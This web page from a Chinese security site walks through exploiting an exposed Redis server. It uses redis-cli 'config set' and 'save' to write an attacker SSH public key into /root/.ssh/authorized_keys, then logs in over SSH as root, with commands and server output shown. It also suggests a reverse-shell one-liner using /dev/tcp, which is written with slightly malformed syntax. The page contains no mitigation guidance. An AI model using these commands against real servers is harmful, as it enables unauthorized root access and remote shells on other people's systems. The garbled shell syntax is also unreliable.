安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 网络安全 > Redis 远程代码执行漏洞

Redis 远程代码执行漏洞

时间:2019-07-16来源:未知 作者:安云网点击:
1,利用redis漏洞,远程登录服务器 1.1 登录远程 redis 并写入ssh公钥 [[email protected] ~]# redis-cli -h 192.168.168.168 -p 6379 -a 123456 # 设置路径等配置(必须有写入权限) 192.168.168.168:6379 config set dir /root/.ssh OK
//内容来自安云网

1,利用redis漏洞,远程登录服务器

1.1 登录远程 redis 并写入ssh公钥

//本文来自安云网

[[email protected] ~]# redis-cli -h 192.168.168.168 -p 6379 -a 123456


# 设置路径等配置(必须有写入权限)

192.168.168.168:6379> config set dir /root/.ssh

OK


(写密钥或者直接写反弹shell也可以 /bin/bash   -i $/dev/tcp/ip/port 0>&1)

# 上传公钥的备份文件名字为authorized_keys

192.168.168.168:6379> config set dbfilename authorized_keys

OK


# 写入 ssh公钥

192.168.168.168:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/TzA47xTTKkk2H9Us0ciPnKRHliJMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr [email protected]\n\n\n"

OK


# 保存配置

192.168.168.168:6379> save

OK


# 退出

192.168.168.168:6379> exit

1.2 登录远程服务器

[[email protected] ~]#  ssh [email protected]

The authenticity of host '192.168.168.168 (192.168.168.168)' can't be established.

RSA key fingerprint is SHA256:qiBj+5ipRG6rcY6uAbbeIelJK/huZgWVb4BM855YTZs.

RSA key fingerprint is MD5:84:21:21:f8:7c:5d:71:00:9d:f9:cb:df:4e:63:fe:35.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.168.168' (RSA) to the list of known hosts.

Last login: Fri Dec 14 10:48:58 2018 from 61.50.114.230

1.3 查看公钥信息

[[email protected]_0_11_centos ~]# more /root/.ssh/authorized_keys

REDIS0008   redis-ver4.0.10

redis-bits

本文标题: Redis 远程代码执行漏洞 安云网
顶一下
(0)
0%
踩一下
(1)
100%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容